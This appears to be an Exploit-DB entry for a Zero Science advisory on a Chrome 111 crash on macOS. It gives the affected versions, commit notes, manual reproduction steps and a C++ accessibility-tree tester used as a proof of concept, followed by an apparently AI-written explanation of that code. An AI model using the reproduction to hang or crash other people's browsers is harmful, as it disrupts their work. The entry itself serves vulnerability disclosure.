2f07358143
16 changes to exploits/shellcodes/ghdb InnovaStudio WYSIWYG Editor 5.4 - Unrestricted File Upload / Directory Traversal Sielco Analog FM Transmitter 2.12 - Remote Privilege Escalation Sielco Analog FM Transmitter 2.12 - 'id' Cookie Brute Force Session Hijacking Sielco Analog FM Transmitter 2.12 - Cross-Site Request Forgery Sielco Analog FM Transmitter 2.12 - Improper Access Control Change Admin Password Sielco PolyEco Digital FM Transmitter 2.0.6 - Account Takeover / Lockout / EoP Sielco PolyEco Digital FM Transmitter 2.0.6 - Authentication Bypass Exploit Sielco PolyEco Digital FM Transmitter 2.0.6 - Authorization Bypass Factory Reset Sielco PolyEco Digital FM Transmitter 2.0.6 - Radio Data System POST Manipulation Sielco PolyEco Digital FM Transmitter 2.0.6 - Unauthenticated Information Disclosure Google Chrome Browser 111.0.5563.64 - AXPlatformNodeCocoa Fatal OOM/Crash (macOS) Bludit 4.0.0-rc-2 - Account takeover Microsoft Windows 11 - 'cmd.exe' Denial of Service
319 lines
No EOL
11 KiB
Text
319 lines
No EOL
11 KiB
Text
## Exploit Title: Google Chrome Browser 111.0.5563.64 - AXPlatformNodeCocoa Fatal OOM/Crash (macOS)
|
|
## Exploit Author: LiquidWorm
|
|
|
|
Vendor: Google LLC
|
|
Product web page: https://www.google.com
|
|
Affected version: 111.0.5563.64 (Official Build) (x86_64)
|
|
110.0.5481.100 (Official Build) (x86_64)
|
|
108.0.5359.124 (Official Build) (x86_64)
|
|
108.0.5359.98 (Official Build) (x86_64)
|
|
Fixed version: 112.0.5615.49 (Official Build) (x86_64)
|
|
|
|
Summary: Google Chrome browser is a free web browser used for
|
|
accessing the internet and running web-based applications. The
|
|
Google Chrome browser is based on the open source Chromium web
|
|
browser project. Google released Chrome in 2008 and issues several
|
|
updates a year.
|
|
|
|
Desc: Fatal OOM/crash of Chrome browser while detaching/attaching
|
|
tabs on macOS.
|
|
|
|
Commit fix:
|
|
|
|
"The original cl landed many months ago, but
|
|
chrome/browser/ui/views/frame/browser_non_client_frame_view_mac.mm
|
|
is the only change that didn't revert cleanly."
|
|
|
|
macOS a11y: Implement accessibilityHitTest for remote app shims (PWAs)
|
|
|
|
Implements accessibility hit testing for RemoteCocoa so that Hover Text
|
|
and VoiceOver mouse mode can read the accessible objects under the
|
|
user's pointer. Cross-process plumbing was needed because RemoteCocoa
|
|
bridges to native controls in a separate app shim process and must
|
|
report accessibility trees from the browser process via the
|
|
undocumented NSAccessibilityRemoteUIElement mechanism.
|
|
|
|
This CL does the following:
|
|
|
|
1. Unblocks remote accessibilityHitTest by calling setRemoteUIApp:YES
|
|
in the browser process. This enables the browser process to accept
|
|
redirected accessibilityHitTest calls to the object corresponding to
|
|
any NSAccessibilityRemoteUIElement returned by the original
|
|
accessibilityHitTest at the app shim process.
|
|
|
|
2. (For Browser UI) Overrides NativeWidgetMacNSWindowTitledFrame's
|
|
accessibilityHitTest to have a custom implementation with
|
|
NSAccessibilityRemoteUIElement support so that custom window
|
|
controls can be found. Additionally, adjusts the BrowserView bounds
|
|
so that AXPlatformNodeCocoa's accessibilityHitTest (which doesn't
|
|
support view targeting) can return controls in the web app frame
|
|
toolbar.
|
|
|
|
3. (For Web Content) Implements RenderWidgetHostViewCocoa's
|
|
accessibilityHitTest for instances in the app shim to return a
|
|
NSAccessibilityRemoteUIElement corresponding to their counterparts
|
|
in the browser process so that web content objects can be found.
|
|
|
|
|
|
Tested on: macOS 12.6.1 (Monterey)
|
|
macOS 13.3.1 (Ventura)
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2023-5770
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5770.php
|
|
|
|
|
|
08.12.2022
|
|
|
|
--
|
|
|
|
|
|
UI PoC:
|
|
-------
|
|
1. Grab a tab and detach it.
|
|
2. Bring back the tab.
|
|
3. Do this 2-3 times attaching / re-attaching the tab.
|
|
4. Chrome will hang (100% CPU) / Out-of-Memory (OOM) for 7-8 minutes.
|
|
5. Process crashes entirely.
|
|
|
|
Ref: Issue 1400682 (Ticket created: Dec 13, 2022)
|
|
Ref: https://bugs.chromium.org/p/chromium/issues/detail?id=1400682
|
|
Ref: https://chromium-review.googlesource.com/c/chromium/src/+/3861171
|
|
Ref: axtester.mm terminal PoC by xi.ch...@gmail.com (https://bugs.chromium.org/u/161486905)
|
|
|
|
=============
|
|
//
|
|
// Copyright (c) Microsoft Corporation. All rights reserved.
|
|
//
|
|
|
|
#include <ApplicationServices/ApplicationServices.h>
|
|
|
|
#include <iostream>
|
|
#include <sstream>
|
|
#include <vector>
|
|
|
|
__BEGIN_DECLS
|
|
// NOLINTNEXTLINE
|
|
AXError _AXUIElementGetWindow(AXUIElementRef, CGWindowID *);
|
|
// NOLINTNEXTLINE
|
|
CFTypeID AXTextMarkerGetTypeID();
|
|
__END_DECLS
|
|
|
|
std::ostream& bold_on(std::ostream& os)
|
|
{
|
|
if (isatty(STDOUT_FILENO))
|
|
{
|
|
return os << "\e[1m";
|
|
}
|
|
return os;
|
|
}
|
|
|
|
std::ostream& bold_off(std::ostream& os)
|
|
{
|
|
if (isatty(STDOUT_FILENO))
|
|
{
|
|
return os << "\e[0m";
|
|
}
|
|
return os;
|
|
}
|
|
|
|
std::string from_cfstr(CFTypeRef cf_ref)
|
|
{
|
|
if (cf_ref != nullptr && CFGetTypeID(cf_ref) == CFStringGetTypeID())
|
|
{
|
|
const auto cf_str = static_cast<CFStringRef>(cf_ref);
|
|
const auto max_length = static_cast<size_t>(CFStringGetMaximumSizeForEncoding(
|
|
CFStringGetLength(cf_str), kCFStringEncodingUTF8)) + 1;
|
|
|
|
auto result = std::string(max_length, '\0');
|
|
if (CFStringGetCString(cf_str, result.data(), static_cast<CFIndex>(max_length), kCFStringEncodingUTF8))
|
|
{
|
|
if (const auto pos = result.find('\0'); pos != std::string::npos)
|
|
{
|
|
result.resize(pos);
|
|
}
|
|
return result;
|
|
}
|
|
}
|
|
return {};
|
|
}
|
|
|
|
std::string ax_element_id(AXUIElementRef value)
|
|
{
|
|
// AX element cache - AX elements are backed by CFData
|
|
// (referring to 'remote' AX objects) and this data is
|
|
// 'stable' across 'volatile' instances of AXUIElement.
|
|
// 'hash and equality' of AX elements are based on this
|
|
// data and therefore, we can use AXUIElement objects as
|
|
// 'keys' in a dictionary with values, identifying these
|
|
// objects (uniquely).
|
|
const static auto ax_elements = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
|
|
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
|
|
|
auto ax_id = CFDictionaryGetValue(ax_elements, value);
|
|
|
|
if (ax_id == nullptr)
|
|
{
|
|
if (const auto uuid = CFUUIDCreate(kCFAllocatorDefault))
|
|
{
|
|
if (const auto uuid_s = CFUUIDCreateString(kCFAllocatorDefault, uuid))
|
|
{
|
|
CFDictionarySetValue(ax_elements, value, uuid_s);
|
|
|
|
CFRelease(uuid_s);
|
|
}
|
|
CFRelease(uuid);
|
|
}
|
|
|
|
ax_id = CFDictionaryGetValue(ax_elements, value);
|
|
}
|
|
|
|
return from_cfstr(ax_id);
|
|
}
|
|
|
|
template <typename T>
|
|
T ax_attribute_value(AXUIElementRef e, CFStringRef name)
|
|
{
|
|
if (e != nullptr)
|
|
{
|
|
auto ref = T{};
|
|
if (AXUIElementCopyAttributeValue(e, name, (CFTypeRef *) &ref) == kAXErrorSuccess)
|
|
{
|
|
return ref;
|
|
}
|
|
}
|
|
return nullptr;
|
|
}
|
|
|
|
// NOLINTNEXTLINE
|
|
void ax_traverse(AXUIElementRef elem, uint32_t depth)
|
|
{
|
|
const auto max_depth = 10;
|
|
if (depth > max_depth)
|
|
{
|
|
return;
|
|
}
|
|
|
|
const auto indent = [&]()
|
|
{
|
|
for (auto x = 0; x < depth; x++)
|
|
{
|
|
std::cout << " ";
|
|
}
|
|
};
|
|
|
|
auto wid = CGWindowID{};
|
|
if (_AXUIElementGetWindow(elem, &wid) != kAXErrorSuccess)
|
|
{
|
|
wid = 0;
|
|
}
|
|
|
|
indent();
|
|
const auto role = ax_attribute_value<CFTypeRef>(elem, kAXRoleAttribute);
|
|
|
|
std::cout << bold_on << "[*** DEPTH: " << depth << ", ROLE: " << from_cfstr(role) <<
|
|
", ID: " << ax_element_id(elem) << ", WINDOW: " << wid << " ***]" << bold_off <<
|
|
std::endl;
|
|
|
|
if (const auto children = ax_attribute_value<CFArrayRef>(elem, kAXChildrenAttribute))
|
|
{
|
|
for (CFIndex idx = 0; idx < CFArrayGetCount(children); idx++)
|
|
{
|
|
const auto element = static_cast<AXUIElementRef>(CFArrayGetValueAtIndex(children, idx));
|
|
ax_traverse(element, depth + 1);
|
|
}
|
|
CFRelease(children);
|
|
}
|
|
}
|
|
|
|
int main(int argc, char* const argv[])
|
|
{
|
|
auto pid = 0;
|
|
|
|
if (argc > 1)
|
|
{
|
|
if (!AXIsProcessTrusted())
|
|
{
|
|
std::cerr << "Please 'AX approve' Terminal in System Preferences" << std::endl;
|
|
exit(1); // NOLINT
|
|
}
|
|
// NOLINTNEXTLINE
|
|
pid = std::stoi(argv[1]);
|
|
}
|
|
else
|
|
{
|
|
std::cerr << "usage: axtester <pid>" << std::endl;
|
|
exit(1); // NOLINT
|
|
}
|
|
|
|
if (const auto app = AXUIElementCreateApplication(pid))
|
|
{
|
|
auto observer = AXObserverRef{};
|
|
auto ret = AXObserverCreate(pid, [](auto /*unused*/, AXUIElementRef /*unused*/, CFStringRef name, auto ctx)
|
|
{
|
|
auto myapp = (__AXUIElement*)(ctx);
|
|
auto hint = CFStringGetCStringPtr(name,kCFStringEncodingUTF8);
|
|
std::cout << "Hint: " << hint << std::endl;
|
|
ax_traverse(myapp, 0);
|
|
}, &observer);
|
|
|
|
if (kAXErrorSuccess != ret)
|
|
{
|
|
std::cerr << "Fail to create observer" << std::endl;
|
|
return -1;
|
|
}
|
|
|
|
std::cout << "title:" << AXObserverAddNotification(observer, app, kAXTitleChangedNotification, (void*)app) << std::endl;
|
|
std::cout << "focus_window:" << AXObserverAddNotification(observer, app, kAXFocusedWindowChangedNotification, (void*)app) << std::endl;
|
|
std::cout << "focus_element:" << AXObserverAddNotification(observer, app, kAXFocusedUIElementChangedNotification, (void*)app) << std::endl;
|
|
std::cout << "move:" << AXObserverAddNotification(observer, app, kAXWindowMovedNotification, (void*)app) << std::endl;
|
|
std::cout << "resize:" << AXObserverAddNotification(observer, app, kAXWindowResizedNotification, (void*)app) << std::endl;
|
|
std::cout << "deminiaturized:" << AXObserverAddNotification(observer, app, kAXWindowDeminiaturizedNotification, (void*)app) << std::endl;
|
|
std::cout << "miniaturize:" << AXObserverAddNotification(observer, app, kAXWindowMiniaturizedNotification, (void*)app) << std::endl;
|
|
CFRunLoopAddSource(CFRunLoopGetCurrent(), AXObserverGetRunLoopSource(observer), kCFRunLoopDefaultMode);
|
|
CFRunLoopRun();
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
--codeaibot explains--
|
|
|
|
This is a C++ program that uses the Accessibility API (AX) provided
|
|
by macOS to traverse the user interface of a running application and
|
|
print out information about the accessibility elements that it finds.
|
|
|
|
The program takes a single argument, which is the process ID (PID) of
|
|
the application to examine. If no argument is provided, the program
|
|
displays a usage message and exits.
|
|
|
|
The main() function first checks if the Terminal app has been granted
|
|
accessibility privileges by calling the AXIsProcessTrusted() function.
|
|
If it hasn't, the program displays an error message and exits.
|
|
|
|
If the Terminal app has been granted accessibility privileges, the program
|
|
creates an AXUIElementRef object for the application using the AXUIElementCreateApplication()
|
|
function, passing in the PID as an argument.
|
|
|
|
The ax_traverse() function is then called with the root accessibility
|
|
element of the application as an argument. This function recursively
|
|
traverses the accessibility tree of the application, printing out
|
|
information about each element it encounters.
|
|
|
|
The program also defines several helper functions for working with Core
|
|
Foundation types (from_cfstr(), ax_element_id(), and ax_attribute_value()),
|
|
as well as some functions for printing formatted output to the console
|
|
(bold_on() and bold_off()).
|
|
|
|
-- / --
|
|
|
|
As this issue is not a security issue nor results in security consequences,
|
|
this report is not eligible for a VRP reward.
|
|
|
|
++
|
|
Thank you Amy!
|
|
-- |